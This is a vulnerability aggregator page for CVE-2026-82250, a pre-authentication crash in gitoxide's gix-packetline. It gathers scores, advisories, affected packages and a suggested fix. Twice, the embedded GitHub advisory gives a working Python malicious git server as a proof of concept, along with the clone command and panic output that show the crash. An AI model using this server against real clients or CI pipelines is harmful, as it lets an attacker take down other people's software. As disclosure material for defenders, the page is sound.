CVE-2026-82250
gitoxide gix-packetline before 0.21.5 Denial of Service
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.1
gitoxide gix-packetline before 0.21.5 Denial of Service
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
CVE-2026-82250- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-191
- Updated
- 2026-11-02
EUVDEUVD-2026-67702
7.1
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
EUVD-2026-67702- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2vh6-hw4j-32ww
6.5
gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)
Summary
gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.
Details
In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]:
https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199
When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.
(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)
PoC
Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.
- Run a minimal malicious git server on
127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes0005+0x02- a side-band line of length 5 whose content is the single band-id byte0x02with an EMPTY payload:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
c.recv(65536)
c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
+pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
buf=b""; sent=False
while True:
d=c.recv(65536)
if not d: return
buf+=d
if b"command=ls-refs" in buf and not sent:
c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
+pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload
try: c.recv(4096)
except Exception: pass
return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
- Point the real client at it:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
Observed:
thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101
Impact
A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.
Suggested fix
Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.
- Record
GHSA-2vh6-hw4j-32ww- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-191
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-69hq-g659-8g9f
7.1
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef...
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
GHSA-69hq-g659-8g9f- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-191
- Updated
- 2026-11-02
NVD
7.1
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
CVE-2026-82250- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-191
- Updated
- 2026-11-02
OSV
7.1
gitoxide gix-packetline before 0.21.5 Denial of Service
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
CVE-2026-82250- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-191
- Updated
- 2026-11-02
Show 7 moreShow less
OSVDEBIAN-CVE-2026-82250
7.1
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
DEBIAN-CVE-2026-82250- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-2vh6-hw4j-32ww
6.5
gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)
Summary
gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.
Details
In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]:
https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199
When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.
(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)
PoC
Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.
- Run a minimal malicious git server on
127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes0005+0x02- a side-band line of length 5 whose content is the single band-id byte0x02with an EMPTY payload:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
c.recv(65536)
c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
+pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
buf=b""; sent=False
while True:
d=c.recv(65536)
if not d: return
buf+=d
if b"command=ls-refs" in buf and not sent:
c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
+pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload
try: c.recv(4096)
except Exception: pass
return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
- Point the real client at it:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
Observed:
thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101
Impact
A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.
Suggested fix
Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.
- Record
GHSA-2vh6-hw4j-32ww- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-191
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-82250
7.1
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
UBUNTU-CVE-2026-82250- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-98418 No score
CVE-2026-82250 affecting package rust 1.75.0-30
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
AZL-98418- Updated
- 2026-11-02
OSVAZL-98430 No score
CVE-2026-82250 affecting package rust 1.90.0-10
gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.
- Record
AZL-98430- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11730-1 No score
cargo-audit-0.22.2~git0.281452c-3.1 on GA media
These are all security issues fixed in the cargo-audit-0.22.2~git0.281452c-3.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11730-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11741-1 No score
cargo-c-0.10.25-1.1 on GA media
These are all security issues fixed in the cargo-c-0.10.25-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11741-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
gix-packetlinecrates.io |
through 0.21.4 | 0.21.5 |
rustAzure Linux:3 |
through 1.75.0-30 | None known |
rustAzure Linux:3 |
1.85.0 to 1.90.0-10 | None known |
rust-gix-packetlineDebian:13 |
All versions, plus listed versions 0.18.2-10.18.2-20.19.1-10.21.3-10.22.0-10.22.2-1 |
None known |
rust-gix-packetlineDebian:14 |
before 0.22.0-1, plus listed versions 0.18.2-10.18.2-20.19.1-10.21.3-1 |
0.22.0-1 |
gix-packetlinecrates.io |
before 0.21.5 | 0.21.5 |
rust-gix-packetlineUbuntu:24.04:LTS |
All versions, plus listed versions 0.16.6-10.16.7-1 |
None known |
rust-gix-packetlineUbuntu:26.10 |
All versions, plus listed versions 0.19.1-10.21.3-1 |
None known |
rust-gix-packetlineUbuntu:26.04:LTS |
All versions, plus listed versions 0.18.2-10.18.2-20.19.1-1 |
None known |
cargo-auditopenSUSE:Tumbleweed From an advisory covering 5 CVEs |
before 0.22.2~git0.281452c-3.1 | 0.22.2~git0.281452c-3.1 |
cargo-copenSUSE:Tumbleweed From an advisory covering 5 CVEs |
before 0.10.25-1.1 | 0.10.25-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-82250 is a high vulnerability (CVSS 7.1) in Gitoxidelabs Gitoxide, published August 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in gix-packetline 0.21.5.
References
github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww
vulncheck.com/advisories/gitoxide-gix-packetline-before-0.21.5-denial-of-service
github.com/GitoxideLabs/gitoxide/pull/2638
github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1
github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5
github.com/advisories/GHSA-2vh6-hw4j-32ww
Show 12 moreShow less
nvd.nist.gov/vuln/detail/CVE-2026-82250
github.com/advisories/GHSA-69hq-g659-8g9f
github.com/CVEProject/cvelistV5/tree/main/cves/2026/82xxx/CVE-2026-82250.json
security-tracker.debian.org/tracker/CVE-2026-82250
github.com/GitoxideLabs/gitoxide
ubuntu.com/security/CVE-2026-82250
cve.org/CVERecord?id=CVE-2026-82250
suse.com/security/cve/CVE-2026-82247
suse.com/security/cve/CVE-2026-82250
suse.com/security/cve/CVE-2026-82251
suse.com/security/cve/CVE-2026-82253
suse.com/security/cve/CVE-2026-82254